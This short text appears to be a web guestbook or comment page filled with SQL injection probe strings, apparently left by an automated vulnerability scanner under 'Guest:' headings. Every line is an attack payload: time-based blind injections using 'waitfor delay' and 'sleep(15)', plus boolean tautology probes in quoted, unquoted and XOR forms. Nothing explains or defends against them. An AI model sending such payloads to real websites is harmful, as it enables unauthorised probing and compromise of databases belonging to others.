Guest:
555hH37lnXl'; waitfor delay '0:0:15' -- 


Guest:
555hH37lnXl'; waitfor delay '0:0:15' -- 


-1 OR 2+51-51-1=0+0+0+1 --

-1 OR 2+760-760-1=0+0+0+1

-1' OR 2+805-805-1=0+0+0+1 --

-1' OR 2+297-297-1=0+0+0+1 or 'WuJAAQ4k'='

-1" OR 2+236-236-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555hH37lnXl'; waitfor delay '0:0:15' -- 
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555hH37lnXl'; waitfor delay '0:0:15' -- 
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z